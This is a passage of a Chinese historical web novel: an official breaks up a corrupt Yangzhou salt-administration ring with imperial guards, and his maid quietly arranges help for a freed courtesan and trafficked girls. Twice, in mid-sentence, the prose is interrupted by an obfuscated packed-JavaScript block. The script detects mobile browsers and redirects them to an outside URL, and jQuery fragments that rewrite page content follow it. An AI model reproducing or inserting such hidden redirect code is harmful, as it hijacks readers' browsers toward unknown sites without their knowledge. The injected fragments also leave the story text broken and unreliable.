裴慎淡淡道：“倒也有趣，鹿裘不完喻指节俭，你却做了奢靡富庶的盐商。” 刘葛一时间竟不知道这话该怎么接，只好讪讪道：“小人名葛，这夏穿葛，冬着裘，故取了鹿裘为字。” 裴慎不过是想起了沁芳才与刘葛多说两句，此刻早已不耐，便兀自看向秦献：“秦大人还未介绍其余人。” 秦献一愣，纳闷地介绍了剩下几个人。 裴慎这才道：“人齐了便好，今日设宴，只因有几位贵客想结识诸位。”说着，吩咐两个侍卫出门将贵客请来。 众人惊疑不定，茫然若梦地看向门口。就这么一愣神的功夫，那包厢门便开了。涌出了如狼似虎的锦衣卫和厂卫。 “锦衣卫来这里做什么！” “你们绑我做甚！” “裴大人这是何意？！” 宴席尚未开桌，室内已是惊声尖叫，骚乱频频。桌上的定胜糕、红豆酥随地滚落、杯盘碎了一地，地上全是翻倒的茶水。 几个锦衣卫和番子冲过来，盐场转运副使刘必之见状，不由得哆嗦起来，一时间只觉天也昏昏，地也昏昏，惨叫一声晕过去了。 见他这般，那番子啐一口，“窝囊废！”，便将他堵住嘴上了枷号。 一旁的秦献见状，只觉目眩头昏，满目凄惶，哆嗦着说不出话来。副使被抓，他这个转运使难道还能逃的了吗？！ 见状，最后进来的石经纶板着脸正色道：“还请秦大人接旨。” 秦献本已跌坐在地，面色虚白，闻言，强打起精神稽首跪拜道：“臣秦献接旨。” 只见石经纶中气十足，大声道：“陛下口谕秦献，可曾诵读过《南华真经》篇十五？” 只可怜秦献年过四十，这会儿紧张之下脑袋空空，连四书五经都快忘个干净，哪里还想得到南华真经，更别提什么篇十五了。 一旁的裴慎却即刻想到篇十五是《刻意篇》，其中有一句“众人重利，廉士重名。”他想到这里，便暗叹一声，好端端的《庄子》不叫，非要说什么《南华真经》。 况且既要训诫秦献清廉二字，论语有“饭疏食饮水，曲肱而枕之”，礼记有“临财毋苟得，临难毋苟免”，尚书有“直而温，简而廉”。四书五经一个不用，偏偏要用庄子的“众人重利，廉士重名”，可见陛下近来是越发向道了。 苦思冥想想的自己冷汗涔涔，周围锦衣卫和番子又虎视眈眈，秦献早已面如土色，偏偏那石经纶竟还嫌不够似的，高声道：“陛下再谕秦献，既是记不住外篇十五，可记得杂篇二十八？” 裴慎略一思忖便明白了，杂篇二十八是《让王》，应当是那句“人犯其难，我享其利，非廉也。” 秦献连第十五篇都不记得，遑论二十八了，早已汗如雨下，跪地稽首不停。 石经纶见状，便板着脸：“陛下三谕秦献，既是不读《南华经》，那么可还记得《八佾》中‘君使臣以礼’的下半句？” 八佾是论语篇三，秦献好歹也是进士出身，四书五经烂熟于心，自然知道下一句是什么。 ——臣事君以忠。 可分明知道答案，他此刻情态竟比答不出前两问还惨烈，只见他面白似纸，色如死灰，整个人涕泪涟涟，惨叫不休。 “我秦羹之对陛下忠心耿耿！绝无二心！绝无二心呐！”说罢，竟被吓得目眦尽裂，胆丧魂惊。 裴慎见状，一把拽起秦献，朗声道：“秦大人何苦如此？陛下未曾下旨褫夺你的官位，自是知晓你竭诚尽节，忠贯白日。” 秦献原本黯淡无光的眼睛竟猛然迸发出亮光，他死攥着裴慎胳膊，连声道：“是极是极！裴大人说的是！说的是！” 见他这般，裴慎便知道秦献已是吓破了胆，至少他在转运使的任期内，必会全权配合裴慎。 方才还板着脸的石经纶此刻也挤出一个笑道：“秦大人安心罢。” 听锦衣卫这么说，秦献悬着的心才算放了下来，终于没刚才这般失态了。只是他腿软的站不起来，只能跌坐在地。 裴慎便一把扶起他，叫他坐在了圈椅上，又温声安抚：“秦大人今日蒙陛下垂怜，得以聆听圣训，想来如今是蒙昧尽去，心明眼亮了。” 说着，便看了眼许益。 秦献心里一突，陛下前两谕，俱是在训诫他廉之一字，必定是知道他贪污受贿的事了。 之所以没有像副使刘必之一般入京受审，多半是因为姐夫孙德宁，可这样一来，他的官位也保不住了，过个一年半载，陛下必定会找个错处贬谪了他。 得想想办法，想想办法……秦献定定地看了两眼许益，这是东厂档头之一，肯定是陛下身侧某个大珰的心腹。若能通过许益请那位大珰在陛下那里说几句好话…… 再想想陛下的第三谕，忠。什么叫忠？臣子贪污受贿，挖着陛下的墙角是不忠。臣子自己吃得脑满肥肠，陛下一无所得，是不忠。既然要忠…… 秦献心思已定，便感激的冲着裴慎笑了笑，换来裴慎温和的笑容。 锦衣卫和厂卫联手，在座众人自知在劫难逃，早已软了身子，呜呜咽咽的哭泣。有几个性烈的还想挣扎，被赏了几棍也老实了。 “裴大人，我等皇差在身，这便告辞了。”石经纶吩咐手下将这些犯官绑好送入囚车后，便要告辞离去。 许益闻言，在心里把石经纶骂了个狗血淋头，他还想着带孩儿们在扬州花花两天，可现在锦衣卫要走，东厂也不能留。否则两方同时出京，锦衣卫却比东厂先回，这不显得他们厂卫办事不力嘛！ 感情这出京拿人还真他娘的是个苦差事，半点油水都没有！怪不得大珰们都一推四五六，谁都不肯来。 “还请二位稍候。”裴慎拱手道：“罪官宅院均需查抄，其中还夹杂着几个盐商。本官人手不够，想请石镇抚使和许档头拨几个人手，随本官与扬州知府一同前去抄检。” 借此喂饱了太监们，好让他们不要滋扰扬州以及沿途百姓，速速离去。毕竟让太监们祸害平头百姓，不如让他们去祸害贪官污吏。 闻言，许益大喜。抄家是何等富到流油的差事，这裴大人果真会做人！ 锦衣卫和东厂不和已久，叫太监们得利，石经纶却无不满之色。只因他们锦衣卫人多，抄家分润到的财货更多。 石经纶：“既是如此，我且调一队小旗与裴大人同去，只不知裴大人要我等查抄哪里？” 许益久在宫中伺候人，听人话的本事一等一，闻言，即刻意识到石经纶这是投桃报李，给裴慎面子，请他先挑。许益从善如流：“裴大人尽管吩咐！咱家别的不行，抄家最是得力！” 裴慎温声：“许公公说笑了，陛下未曾下旨，哪里敢抄家，不过是还有些证物要搜检出来一并呈给陛下罢了。” “是是是！”许益连连点头，又轻轻打了自己一个嘴巴子，“瞧我这嘴，诨说什么！您老大人有大量，莫与我计较。” 裴慎便笑道：“那刘必之府上有一名瘦马是人证，赵案府上有《伯远帖》真迹，是物证，还有其余受贿官吏府上，均有些人证物证，这些便不劳烦二位了。只是账本的正本应当还藏在盐商刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375392|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葛的府上，且多半藏的隐秘，一事不烦二主，劳烦许公公和石镇抚使了。” 让锦衣卫和厂卫亲手将账册正本搜出来，不经过他的手，便无人能说他蓄意构陷，这案子也就钉死了。 一听说让他们抄盐商家，许益放声大笑：“裴大人且放心，为陛下办差事，咱家必定尽心尽力！掘地三尺都要把那账本挖出来！” 石经纶心想，是找到了账本也还要掘地三尺罢！心中虽鄙夷这死要钱的太监，石经纶却也不反对抄盐商家。既有外快可赚，为何不干。 “既是如此，本官这便派人带二位前去。”裴慎道，“原本该为二位及众兄弟接风洗尘，只是今日抓人闹出了动静，为防有人毁去证物，只能劳累二位速速前去抄检。” 盐商何其豪奢，几万两家底总是有的，便是分润下来，他少说也能拿个几千两，谁还在乎一顿饭！许益笑盈盈道：“皇命在身，应该的应该的。” 石经纶更没有二话。 裴慎温和道：“待人证物证尽数集齐，明日午间本官便在太白楼设两桌宴席，必叫诸位吃好喝好。只是本官守恩师孝不能来，知府大人恐怕也要忙于政务，届时便由秦大人招待诸位罢。” 秦献一喜，这是给他跟许益、锦衣卫单独相处的机会啊。且到了明天中午才设宴，还有一天的功夫筹钱。 秦献感激道：“下官必定好生招待。” 又有吃又有拿，许公公心里美的不行，就连石经纶都暗自叹息，指挥使大人果真没看错人。裴慎做起事守正不挠，偏偏手腕圆滑老辣，不出二十年，必能入阁拜相，位极人臣。 石经纶和许益一走，秦献原本也想赶着去筹钱，犹豫片刻还是驻足低声试探道：“方才听裴大人与石镇抚使、许档头谈起什么账本，这账本……” 裴慎但笑不语。 秦献便了然，再想想提到的什么瘦马、《伯远帖》俱是刘葛献上来的，尤其是开宴前裴慎特意与刘葛说了几句话，一时间，秦献五脏如焚，怒火中烧。 别的盐商一样给他送人送物，这刘葛送归送，竟敢私下里记账！还被裴慎查出来了！秦献又气又恨，双目赤红，若不是刘葛已被押送走，只怕顾不得体面都要饱以老拳。 他这会儿被吓得肝胆沦丧，后背尽数湿透，明知这扬州盐场受贿案多半是裴慎捅出来的，可秦献却不敢恨。裴慎上任一月便弄没了他转运使的位子，却又给他指了条活路。雷霆万钧的手段，春风化雨的圆滑，竟让秦献隐隐有几分畏惧。 见他神色惊惧，裴慎浑不在意。这般小人，畏威而不怀德，让他又敬又畏便是了。 果然，没过一会儿，秦献弯腰作揖，毕恭毕敬：“裴大人可还有何吩咐？” 裴慎便笑着摆摆手，任由秦献匆匆告辞离去，回家筹钱。 此刻，包厢里已是杯盘狼藉，满地碎瓷，桌倒椅翻。 被邀请来的二十余人大半都被抓捕，统统送上了囚车，只剩下跪在角落瑟瑟发抖的三五伶人妓子，以及稀稀落落没被抓走的三个官吏和两个盐商。 裴慎刻意邀请了几个清白人家，便是怕这帮人赴宴时起疑。剩下的数人方才见锦衣卫进来，又惊又怒，见同伴均被带走，自己却逃过一劫，又悲又喜。一时间百感交集，竟如同傻了一般呆坐在那里。 裴慎温声道：“诸君莫怕，事情已了结，锦衣卫和厂卫也都走了。只是这宴席不吃颇为可惜。” 方才上的不过是开桌前垫垫肚子的果子茶食罢了，正式的小菜、案酒、下饭、汤品、果碟都还没上呢。 裴慎扫了眼战战兢兢陪坐的五人，笑道：“本官有孝在身，不能宴饮，诸位且自行享用宴席罢。” 五人强颜欢笑，哪里还有心情吃宴，本就已经脸色发白，大汗淋漓，又听他和锦衣卫、东厂番子聊了一通如何抄家，更是两股战战，几欲奔逃。 只是亲眼见着裴慎上任不过一月，便以雷霆手段将整个扬州盐政官场一扫而空，这会儿对他又惧又畏，生怕惹他生气，便捡了桌上干净的一碟果干，味同嚼蜡的吃起来。 裴慎只慢条斯理道：“诸位能从此等大案中脱身，必是素日里清白做人，陛下智周万物，自然看在眼里。” 三个官吏微怔后一股狂喜涌上心头。这是要给他们升官了！是了，这么多官吏都倒了，他们自然能升官。 就连剩下的两个盐商也喜不自胜。刘葛是扬州最大的盐商，他一倒，跟他关系好的几个盐商也得遭殃，空出来这么多盐引，他们怎么着也能多吃两口！ 一时间，众人纷纷转忧为喜，眉开眼笑，只觉手里的玫瑰搽穰卷儿都香甜起来。 裴慎便笑道：“不知如今这宴席可还吃得下？” 在座的纷纷喜笑颜开：“吃得下！吃得下！” 这会儿众人对裴慎折服至极，格外恭敬，不敢有半分放肆，纷纷起身把盏敬酒，连声谢过裴大人。 裴慎便笑笑。上任一月有余，他荡清了两淮盐政官场，充实了府库，在都察院留了份香火情，拿到了两淮盐场转运司转运使等林林总总七八个位子，加固了与锦衣卫的关系，又新结交了厂卫。 细细数来，这一月的忙碌颇为值得。接下来便能放开手脚，行盐政改革，若能将盐价降下来，便能有更多百姓受益。 裴慎心中快慰，便以茶代酒，一饮而尽，复拱手告辞，带上侍卫扬长而去。 10. 第10章 裴慎回了盐漕察院，进了正堂，见廊下无人，便掀开湘帘一看，屋内更是人影子都没半个，沉声道：“人呢？” 正给芭蕉洒水的粗使婆子连忙道：“大人，坠儿和墨砚原在廊下守着，只是方才身子不舒服，便歇息去了。” 这坠儿和墨砚都是活泼好动的年纪。裴慎素日里鲜少使唤他们，自然也懒得问他们的去向，只觉这婆子果真不晓事。 他摆摆手：“去将沁芳唤来。” 正说话间，沈澜捧着小茶盘过来，见裴慎站屋子门口却不进去，便道：“爷，厨房的赵娘子进了碗梅汤来。” 裴慎站在湘帘前，低头一望，见那小茶盘上放着个浅口官窑半脱胎甜白碗，盛着栗褐色的梅汤，澄澈清亮，里面的碎冰已化，壁上悬着些许水珠，看着便一阵爽然。 裴慎端起来一饮而尽，凉意随汤入喉，只觉五脏六腑暑热之气顿消。 饮完汤，随手将碗放回小茶盘上，裴慎难得赞扬了一句：“有心了。” 说着，拂袖进屋，沈澜乖觉的捧着空碗跟上，她今日来是有正事的，可不是为了伺候裴慎喝碗汤。 进了屋，沈澜便恭顺道：“爷，这梅汤可好？” 裴慎坐在榻上，那榻上早已被沈澜换上了芙蕖簟，旁边又放了两个冰盆，丝丝凉意漫上，让裴慎心情极好。 他顺手握了卷书，闻言道：“尚可。” 沈澜：“夏日暑热难消，方才坠儿便有些中暑，我叫她去后院竹林子里遮凉，还请爷恕罪。” 裴慎便冷哼道：“你倒会卖乖。” 沈澜这些日子揣摩裴慎，渐渐有了些心得，知道他这番作态不是怪她，不过是不满意回来的时候院子里没人罢了。 “爷素来怜贫惜弱，盛夏暑热难消，院子里的丫鬟婆子们中了暑最是麻烦，吃药弄得满院子都是药味儿，平白无故费钱不说届时还抽不出人手来伺候爷。与其如此，倒不如两日吃一碗梅子汤。” 裴慎饶有兴致的看着她，沈澜既已开了头，便绝没有回头路走，只恭顺垂首往下说。 “白瓷梅子汤最是消暑解燥，爷用的梅子汤贵重，只是仆婢们用的梅子汤不用加什么料，只几十颗梅子捣烂煮开便是，也不必加冰，拿井水湃一湃也够消夏了。” 裴慎扔了书，拿起榻上的金棕川扇有一下没一下的扇着风，闻言淡淡道：“你巴巴的送了梅汤过来，我还以为你晓事了，原来竟是要拿我做人情。” 沈澜倒也不害怕，这几日的相处，叫她知道裴慎心明眼亮，极难蒙骗，可今儿这事她又没骗他。 “爷，我初来乍到，心里想着为爷分忧，偏偏又没什么见识，思来想去也只能想到这么个笨办法。” 沈澜垂首低声道：“爷在外头有下属官吏，侍卫小厮，暑热时赠一碗梅汤是爷体恤，间或换成绿豆汤，盛夏两个月便是日日饮用也不过二三两银子罢了。” 费不了几个钱，却能得个爱护下属的好名声，也让手下人办起差事来尽心些，何乐而不为？ 更别提裴慎刚以雷霆之势扫荡了扬州盐政官场，群吏惶惶，正是安抚人心，施恩布德的好时候。 闻言，裴慎颇为惊异地看她一眼：“我原想着赏赐些财物下去，你这法子倒是贴心，也能惠及最底下的小吏。”若赏赐财货，恐怕到不了小吏手中。 沈澜见他赞同，松了口气道：“爷高义。” 一碗梅汤以安抚人心，这办法既得了裴慎的赞赏，又能惠及周围丫鬟婆子、侍卫小厮，结些善缘，何乐而不为呢？ 沈澜目的已达到，便垂首侍立一旁，眼观鼻鼻观心，紧闭檀口，八风不动当个摆件。 裴慎见她这般，只歪在榻上拿扇子指了指她，调笑道：“你既蕙质兰心，如今又这般谨慎做甚。还怕触怒了我不成？” 这话说的亲昵，沈澜心知他孝期未过，决不至于在此时惹出些风流债来，便也不怕他谈笑，只睁眼说瞎话道：“爷脾气好，待人温和，我不是怕爷，只是没学过做奴婢的规矩，就只好立在一旁等爷吩咐。” 裴慎把玩着折扇，心道没学过也无妨，左右三年一过，她也不必去学什么做奴婢的规矩了。 两人正闲聊，门外忽有人禀报，只说许档头派了两个番子来送礼。 裴慎蹙眉，许益不去盐商家中敛财，找他做甚：“叫他们进来。”两个小太监还不至于要他去迎。 沈澜犹豫片刻，看了看房中，有一道紫檀嵌云石小座屏风。 “且去屏风后面躲一躲。”裴慎道。陛下正派赵十一采选良家子以充盈宫廷。沁芳容貌太盛，未免惹事，避开为妙。 闻言，沈澜松了口气，匆匆躲进了屏风后。 就在此时，两个小太监进了门，只恭敬作揖道：“见过裴大人。” 裴慎剑眉微蹙：“许公公派你二人来可是有什么事？”说着，他看了眼跟在两人身后的那名女子。只一眼，便移开视线。盯着女眷看，实非君子所为。 两个番子，个高的满面堆笑，指着自己身侧女子：“此女乃盐商刘葛府上的瘦马，名唤琼华。” 琼华为何在此处？屏风后的沈澜愕然，只思忖片刻便想明白了。多半是她逃走后，刘葛挑中了琼华要来献给巡盐御史裴慎。 那高个番子继续道：“据她所述，刘葛买她是为了献给裴大人。许公公听闻此事后，便叫我二人将此女送来。” 裴慎心知这是许公公投桃报李，谢他让其查抄盐商。可他如今恰逢孝期，光明正大的接受一个太监送来的瘦马，官声，仕途还要不要了？ 裴慎摆摆手：“许公公实在客气了，只是我如今正守恩师孝，焉敢近女色？” 那两个番子闻言，一时间竟有些为难。许公公只让他们把人送来，却没说裴大人不肯收该怎么办？ 一旁的琼华已是面如土色，惊惶无措。她先是在刘葛府上过了几天仆婢成群的好日子，只等有朝一日飞黄腾达。谁知没过几日，竟等来了如狼似虎的锦衣卫和东厂番子。 今日若不能留在此处，回去便要面对锦衣卫和太监。想到这里，琼华一时间泣涕涟涟，跪倒在地，连声高呼：“请大人垂怜！请大人垂怜！” 屏风后的沈澜心中酸涩。这不过是个十五岁的小姑 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那又如何？裴慎呷了口茶水，不言不语。 沈澜急了起来，匆匆指了指屏风外的檀木案几，那上面还放着小茶盘和甜白碗。 刚刚献了以梅汤安抚人心的主意，这才过去一刻钟，便要来兑现功劳。裴慎心中不满，照旧不动。 沈澜无奈，只面带哀求，拱手作揖。她素来沉稳，鲜少喜怒形于色，更别提秀眉微蹙，欲说还休的哀求。 裴慎瞥她一眼，放下茶盏，淡淡道：“二位且住，此女看着也是个可怜人。若审查过后不涉及刘葛案，便放了她的奴籍，且让她归家去罢。” 琼华闻言，霎时瘫软在地，又忽而放声大哭。 两个番子面面相觑，只好谄笑着说几句“大人仁厚”、“恤民”之类的话，拽起琼华告辞离去。 屏风后的沈澜松了口气，心里又晦涩难明。她不可能要求裴慎收琼华做丫鬟或是妾室。一则裴慎决不会答应，二则这很可能惹怒裴慎，把沈澜自己搭进去。 可只要裴慎肯为琼华说句话，锦衣卫和东厂便会放过她。只是若琼华还是奴籍，命运依然不由她作主。沈澜便请裴慎帮忙销去她的奴籍。 成了良家子后，若琼华再聪慧些，联合刘妈妈院子里那些剩下的姑娘们，众人抱团，便没有地痞流氓敢来欺凌。届时精进绣艺，像那个绣娘一样，将来开一家绣庄，也能好好过日子了。 “出来吧。”见人走了，裴慎吩咐道。 沈澜没动，裴慎抬眼望去，只见沈澜怔怔地立在原地，不知在想什么。 裴慎见状，玩笑道：“方才胆子不还挺大，这会儿愣着做甚？莫不是怕我怪罪你？” 沈澜回过神来，笑道：“爷，没什么，只是我刚才走了神。”她脸上是笑着的，只是连笑容都泛着几分苦涩。 她心心念念的销去奴籍，琼华得到了。琼华要的荣华富贵，就放在沈澜面前。 人世间的事，总是这样。想要的，求不到。不想要的，偏要涌上来。 11. 第11章 一整日，沈澜都神思恍惚，怅然若失。见她这般，裴慎蹙眉道：“是叫你夹一筷槐叶淘，不是蜜渍梅花。” 沈澜惊觉，连忙收回手中三镶银箸：“对不住，爷，奴婢走神了。” 裴慎冷下脸：“下午让你磨墨，你拿笔洗当砚台使。叫你泡盏清茶来，你弄了杯桂花木樨茶。如今连布菜都布不好了！说罢，什么事弄得你一整日梦魂颠倒、神思不属？” 沈澜稍显沉默，见她这般，裴慎冷下脸来：“莫不是见那琼华脱了奴籍，心生艳羡？” 沈澜正犹豫，可否要借此机会说明白，也好求个良籍。琼华脱籍如此容易，不过是裴慎一句话罢了，沈澜若不试一试，心中实在不甘。 她正要开口，一抬眼，惊觉不对，裴慎脸色冷若冰霜，如山巅霜雪，泛着股砭骨的冷劲儿。 裴慎城府极深，素日里喜怒不形于色，微笑不一定是喜，冷脸也不一定是怒，可那都是面对官场同僚。对她一个丫鬟，有什么装模作样的必要呢？ 心知裴慎已是恼怒，沈澜急急止住话头，缓了口气，只垂首道：“爷误会了。奴婢之所以总走神，只是想着要不要出府一趟？” 闻言，裴慎竟缓了神色，面带微笑：“出府做甚？” 见他这般，沈澜心中越发警醒，小心斟酌：“爷说笑了。奴婢不过是见了当年旧人，一时间心生感慨罢了。若不是爷将奴婢留在身边，只怕奴婢逃出刘宅后便要无家可归，任地痞流氓欺凌。” 闻言，裴慎便看她两眼，明知她是个狡狯性子，这番话里几分真几分假尚未可知。可她话说得甜，素日里办事妥帖无半分愤慨之意，便当她这番话是真的罢。 裴慎淡淡道：“知道便好。” 沈澜度过一关，只觉后背薄汗涔涔。她心知脱籍一事不能再提，否则便是自寻死路了。 想了想，沈澜小心道：“爷，奴婢大胆问一句，不知刘妈妈是否已入狱？” 裴慎见她面色微微苍白，想来是刚才吓着她了。便点点头，只夹了几瓣蜜渍梅花，权做安抚：“尝尝。” “谢爷赏赐。”沈澜见桌上只裴慎一双银箸，总不能用公筷吃，便只好拂起袖子，以手指捻住了那两片薄薄的梅花瓣。 剥若春葱的指尖，沾了些琥珀色的糖汁，捻弄着淡粉色的梅花瓣，送入了娇嫩润泽的朱唇中，香舌一卷，三两下便消失在雪白的贝齿中。 裴慎呼吸一窒，血气涌上来，周身俱是热意，四角冰盆全然无用。他兀自镇定了半晌，到底拂袖起身：“沐浴！”说着，大步进了净室。 沈澜茫然无措，只觉此人果真反复无常。方才还好好的，况且她话还没说完呢，沐什么浴！ 沈澜忍着气，只垂首，照常替裴慎沐浴更衣。沐浴后的裴慎约摸是心情好多了，歪在榻上，捏着卷尚未看完的《青琐高议》，只闲坐读书。 沈澜站在他身后，一边拿着干净棉帕，细细替他绞干湿发。 室内一片静谧，唯独窗外间或几声蝉鸣，月华透过轩窗在榻上铺出一片雪色，映得三两烛火暖黄可亲。 “爷，头发绞干了。”过了会儿，沈澜道。 裴慎嗯了一声，只随意扔下书，问道：“你白日里问那鸨母做甚？” 沈澜踟躇片刻，到底开口道：“我自己有爷庇护着，已是衣食无忧。可若刘妈妈入狱，想来那刘宅也被封了。琼华和留在刘宅中的姑娘们只怕是无家可归。” 裴慎不为所动，嗤笑道：“你白日里已发了一回好心，如今到了晚上，又要来做好人。你是女菩萨不成？” 朦朦夜色里，沈澜忽有几分惆怅：“我与她们一般无二，俱是身世浮沉雨打萍。我不是想做菩萨，只是心有同感，想着能帮则帮罢了。” 裴慎蹙眉：“日后这般话莫要再说。什么身世浮沉雨打萍，着实不吉利。” 见沈澜应了一声，裴慎这才满意道：“且安心，你既跟了我，必不会叫你无枝可依。” 沈澜只微笑着，应了一声：“谢过爷。”人生来就该做一棵树，只管挺直了脊背向上长去，谁要当依靠你的藤萝？ 谢过裴慎，沈澜这才垂首道：“爷，我可否出府一趟？”语罢，解释道：“刘妈妈每年都会买十几个生得好的女孩。资质上等的便教些琴棋书画、诗词歌赋。中等的教些膳食女工，下等的便教算账掌家。” “一年一年的裁汰，裁汰了的卖给妓馆回本，直到最后剩下四五个养成了的瘦马便高价卖出去。故而刘宅中有许多小女孩，小的才六七岁，大的也就十一二岁。” 沈澜忧虑道：“这些女孩有的是被人牙子拐来，有的是被亲人卖了。刘妈妈下狱是好事，可这些孩子不仅没了栖身之所，也无家可归。” 裴慎只无动于衷，这天底下苦命人多了，若他见一个便怜一个，日子也不必过了。 “府里收不了这么多丫鬟。” 沈澜垂首：“爷，我没想着收她们进来。只是想出府一趟，去见见琼华。” 裴慎蹙眉：“你去做甚？” “我从刘宅逃出来的时候带了好几根金簪银簪，我想去当了，约摸能有个三四十两。加上我身上七十余两银子，共计百余两左右。” “托付琼华花个四十两买个便宜些的民居，无需什么青砖汉瓦，便是破烂些，能有片瓦遮身即可。不想归家或无家可归的女孩子便可以住在这里，十几个人凑在一起，没有闲汉强人敢近身。” “再花三十两请一个技艺不错的绣娘，共计请两年，教她们点绣艺，将来也能有份手艺糊口。” “最后三十两便一分为二，一年掏十五两，只买些料子给她们，且回购她们的练习之作。若勤加练习，两年后她们便能去绣庄接些简单活计了。” 听她说完，裴慎却也不答话，只暗自忖度，沁芳到底是爱钱还是不爱钱呢？她当日分明极在意月银，却又舍得下百两银子做善事。 思及此处，裴慎难免问道：“百余两银子已是寻常人家五年的嚼用，在外头能添置十亩上好的水浇地，你也舍得？” 沈澜毫不犹豫：“那银子本就是姑娘们卖身的血汗钱，取之于她们，用之于她们，也算用得其所。”便是没有遇到裴慎，待她逃出去，将来有能力了，一样要回来救一救这群姑娘们的。 语毕，见裴慎迟迟不说话，沈澜微微焦虑，还以为裴慎不肯答应。 实则裴慎见她穿着薄薄的细布夏衫，眉间笼着轻愁，灯火朦胧之下，愈发弱不胜衣，不由得心生怜惜。 她这般羸弱心软，若年纪到了放出府去，恐怕顷刻间便被人剥皮拆骨。倒不如留在府上，他也好看顾着。 裴慎一面想，一面轻斥：“你倒心善。那点钱自己留着用吧。”说着，便要将陈松墨唤进来，叫他支取三百两去办此事。 沈澜连忙开口：“大人如今正守孝，哪里好吩咐下属去办此事？若有言官风闻奏事，岂非不美？况且我与琼华等人俱相熟，倒不如由我去，一则俱是女子不起眼，二来也免了大人沾上性喜渔色之名。” 她除了想帮一把琼华等人，也是要借机出府打探一二，若是陈松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375394|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨去办，她便还要困在府中，等赵娘子有空方能出去。 “不好。”裴慎摇头道：“你一介弱女子，孤身出去我哪里放心。若要陈松墨陪着，那不若叫他单独去办便是了。” 见灯火下裴慎神色淡淡的，沈澜也不敢再争执，唯恐暴露了心思惹了裴慎警觉反倒不美。罢了，且等等赵娘子罢。 沈澜计定，便道：“大人，我可否给琼华写封信？且在信中嘱托她一二。” 裴慎便起身去了楠木翘头案前，招手道：“过来，你且来写便是。” 沈澜只草草研墨，将自己的计划一一道来，又说若无人想靠绣艺生活，便将那百余两银子按照人头均分，各人自奔前程便是。说到底，大家都有自己的心思，她只想着帮人一把，并不愿强迫别人。 沈澜正斟酌字句，谁知身后忽传来几声闷笑。她纳闷地回头望去，只见裴慎兴味盎然，拿着笔点道：“你这字毫无筋骨，若三岁稚儿，竟是个花架子。” 沈澜脸不红气不喘，毫无羞恼之意。她来此地一年，除却熟悉环境，苦思冥想如何逃跑，剩下的时间俱在恶补礼仪、品香研墨，学些唱曲小调，额外加学一些房中术。像习字这些需要积年累月方能有成果的事，沈澜根本来不及培养。 “那鸨母竟是个面上光，莫不是个骗子？”裴慎笑。 沈澜好奇道：“鸨母还能有骗子不成？” “自然有。”裴慎握住她的右手，只觉握上了一团莹润细腻的软玉，“常有人买了女孩子，调.教个几天，胡乱教她们背几首诗，便带去主顾面前，只说这是个上等瘦马，要价千两。外地来的客商常有人被骗。” 沈澜一时大为惊奇，只觉古往今来，世事流转，独独骗子永远都有。 说着，裴慎立于沈澜身后，带着她的手，只一笔一划教她写信。 一豆灯火，两三蝉鸣，裴慎心中一派宁静，只一边握住纤纤玉手，一面嗅着她鬓发间盈盈暗香，芬芳轻盈，不像花，莫不是槐叶？或是脂粉香气？ 想了一会儿实在没什么头绪，只一心二用地想着她怎么连根钗都不用？若用上蝶恋花银丝吐蕊簪，蝴蝶振翅欲飞，花蕊微微颤抖，缀在她鸦鸦鬓发间，必定好看。不用银簪，用玉簪也好，白玉兰簪，通体温润…… “爷，写好了。”沈澜退开半步，松了口气。裴慎弱冠之年，已是成年男子的体型，胸膛贴着她的后背，热得像团火炉。 “哦。”裴慎眨眨眼，只缓慢应了一声，这才松开手，略有几分怅然若失。只是怅然过后，忽又朗笑出声。 原来红袖添香夜读书，竟是这般滋味。 沈澜只迷茫的看着他，不知他为何笑。半晌，只听见裴慎哑声道：“沁芳，日后闲来无事，我教你读书习字可好？” 沈澜略略思忖片刻，便答应了。 按理，两人握笔学习时过于亲密，沈澜怕裴慎起了心思，本不该答应的。可偏偏裴慎要守孝三年，必定不会在此时动她。 加上在古代，接受教育的机会何其难得，如今有名师指点，为何不答应？但凡能写的了一笔好字，将来出了府，扮成男子做个账房也够养活自己了。 “多谢爷。”沈澜头一回如此真诚。 裴慎微微翘起嘴角，复又将她虚虚搂在怀中，贴着她纤细的脊背，握住她剥若春葱的手指，在她耳畔低语道：“先学握笔姿势，当以五指执笔，指实掌虚……” “是这样吗？” “我教你……” 此时良夜灯光簇如豆，喁喁低语今宵后。 12. 第12章 第二天一大早，沈澜便将手中银钱加上数根金簪银簪，连同一封信尽数交托于陈松墨。 “劳烦陈大哥了。”沈澜客客气气地递过去五两银子。 陈松墨低着头，不去看她，只摆手道：“姑娘客气了。近日院中日日供给梅子汤、绿豆汤，暑热之时饮一碗，甚是爽快。我等尚未谢过姑娘，哪里敢收姑娘的钱。” 爷素日里赏赐财货较多，怎会记得这样的小事，多半是沁芳提议的。 “陈大哥客气了。”沈澜隔着一丈远道。 两人未再多闲话，只转身离去。 待她回了正房，裴慎正好习武回来。沈澜上前，正欲接过裴慎手中拓木牛角强弓，谁知裴慎微微避开，笑道：“这弓极重，你提不动。” 平时裴慎嫌弃院子小，没有演武场，便极少动弓箭，近日来不知从哪里寻了三石强弓，于后院竹林里习练。 “爷近日里怎么射起箭来？”沈澜试探道。领导的任何一点变化都会对下属产生影响。或好或坏，沈澜自然要问。 裴慎将弓挂去墙上，兀自进了净室：“未雨绸缪罢了。” 沈澜脚步一顿，只试探道：“爷，要打仗了吗？”若是打仗，顷刻之间生灵涂炭，疮痍满目。 